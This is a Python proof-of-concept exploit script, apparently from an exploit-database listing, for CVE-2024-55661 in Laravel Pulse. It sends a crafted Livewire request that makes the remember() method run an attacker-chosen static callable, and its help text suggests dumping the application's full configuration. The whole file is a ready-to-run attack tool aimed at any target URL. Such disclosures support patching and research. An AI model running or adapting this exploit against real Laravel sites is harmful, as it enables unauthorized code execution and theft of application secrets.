2edde6c159
5 changes to exploits/shellcodes/ghdb TightVNC 2.8.83 - Control Pipe Manipulation Laravel Pulse 1.3.1 - Arbitrary Code Injection Microsoft Windows 11 Version 24H2 Cross Device Service - Elevation of Privilege ProSSHD 1.2 20090726 - Denial of Service (DoS)
127 lines
No EOL
4.6 KiB
Python
Executable file
127 lines
No EOL
4.6 KiB
Python
Executable file
#!/usr/bin/env python3
|
|
# Exploit Title: Laravel Pulse 1.3.1 - Arbitrary Code Injection
|
|
# Author: Mohammed Idrees Banyamer (@banyamer_security)
|
|
# GitHub: https://github.com/mbanyamer
|
|
# Date: 2025-06-06
|
|
# Tested on: Laravel Pulse v1.2.0 / Ubuntu 22.04 / Apache2
|
|
# CVE: CVE-2024-55661
|
|
# Type: Remote Code Execution (via Arbitrary Code Injection)
|
|
# Platform: PHP (Laravel Livewire)
|
|
# Author Country: Jordan
|
|
# Description:
|
|
# A vulnerability in Laravel Pulse (< 1.3.1) allows arbitrary code injection via
|
|
# the `remember()` method in the `RemembersQueries` trait. The attacker can craft
|
|
# a Livewire request to invoke arbitrary callables, enabling data exfiltration or
|
|
# remote execution if unsafe classes are exposed.
|
|
|
|
"""
|
|
Laravel Pulse < 1.3.1 - Arbitrary Code Injection Exploit (CVE-2024-55661)
|
|
Author: Mohammed Idrees Banyamer | PoC
|
|
|
|
This tool exploits the vulnerability in the `remember()` method in vulnerable versions
|
|
of laravel/pulse to trigger arbitrary code execution or sensitive data leakage via Livewire.
|
|
"""
|
|
|
|
import argparse
|
|
import requests
|
|
import json
|
|
import sys
|
|
from rich import print
|
|
from rich.console import Console
|
|
|
|
console = Console()
|
|
|
|
class LaravelPulseExploit:
|
|
def __init__(self, url, component, method, csrf=None, key='exploit', component_id='abcde'):
|
|
self.url = url.rstrip('/')
|
|
self.component = component
|
|
self.method = method
|
|
self.csrf = csrf
|
|
self.key = key
|
|
self.component_id = component_id
|
|
self.headers = {
|
|
"Content-Type": "application/json",
|
|
"X-Livewire": "true",
|
|
"Accept": "application/json"
|
|
}
|
|
|
|
if csrf:
|
|
self.headers["X-CSRF-TOKEN"] = csrf
|
|
|
|
def build_payload(self):
|
|
return {
|
|
"type": "callMethod",
|
|
"method": "remember",
|
|
"params": [self.method, self.key],
|
|
"id": self.component_id,
|
|
"name": self.component
|
|
}
|
|
|
|
def send(self):
|
|
full_url = f"{self.url}/livewire/message/{self.component}"
|
|
payload = self.build_payload()
|
|
|
|
console.print(f"[bold cyan][*] Sending exploit to:[/bold cyan] {full_url}")
|
|
try:
|
|
response = requests.post(full_url, headers=self.headers, json=payload, timeout=10)
|
|
except requests.exceptions.RequestException as e:
|
|
console.print(f"[bold red][-] Request failed:[/bold red] {str(e)}")
|
|
sys.exit(1)
|
|
|
|
self.display_response(response)
|
|
|
|
def display_response(self, response):
|
|
console.print(f"\n[bold green][+] Status Code:[/bold green] {response.status_code}")
|
|
if response.status_code == 200:
|
|
try:
|
|
data = response.json()
|
|
pretty_data = json.dumps(data, indent=4, ensure_ascii=False)
|
|
console.print(f"[bold yellow]\n[+] Response JSON:[/bold yellow]\n{pretty_data}")
|
|
except json.JSONDecodeError:
|
|
console.print(f"[bold red][-] Failed to decode JSON:[/bold red]\n{response.text}")
|
|
else:
|
|
console.print(f"[bold red][-] Unexpected response:[/bold red] {response.text}")
|
|
|
|
|
|
def parse_arguments():
|
|
parser = argparse.ArgumentParser(
|
|
description="Exploit Laravel Pulse (<1.3.1) Arbitrary Code Injection (CVE-2024-55661)"
|
|
)
|
|
parser.add_argument("-u", "--url", required=True, help="Base URL of the Laravel app (e.g. http://example.com)")
|
|
parser.add_argument("-c", "--component", required=True, help="Livewire component name (e.g. ConfigComponent)")
|
|
parser.add_argument("-m", "--method", required=True, help="Static method to call (e.g. \\Illuminate\\Support\\Facades\\Config::all)")
|
|
parser.add_argument("-k", "--key", default="exploit", help="Cache key (default: exploit)")
|
|
parser.add_argument("--csrf", help="Optional CSRF token header")
|
|
parser.add_argument("--id", default="abcde", help="Component ID (default: abcde)")
|
|
return parser.parse_args()
|
|
|
|
|
|
def banner():
|
|
console.print("""
|
|
[bold red]
|
|
____ _
|
|
| __ ) __ _ _ __ _ _ / \ _ __ ___ ___ _ __
|
|
| _ \ / _` | '_ \| | | | / _ \ | '_ ` _ \ / _ \ '__|
|
|
| |_) | (_| | | | | |_| |/ ___ \| | | | | | __/ |
|
|
|____/ \__,_|_| |_|\__, /_/ \_\_| |_| |_|\___|_|
|
|
|___/
|
|
[/bold red]
|
|
[bold white]Laravel Pulse < 1.3.1 Arbitrary Code Injection (CVE-2024-55661)[/bold white]
|
|
[blue]Author:[/blue] Mohammed Idrees Banyamer | [green]Poc[/green]
|
|
""")
|
|
|
|
|
|
if __name__ == "__main__":
|
|
banner()
|
|
args = parse_arguments()
|
|
|
|
exploit = LaravelPulseExploit(
|
|
url=args.url,
|
|
component=args.component,
|
|
method=args.method,
|
|
csrf=args.csrf,
|
|
key=args.key,
|
|
component_id=args.id
|
|
)
|
|
|
|
exploit.send() |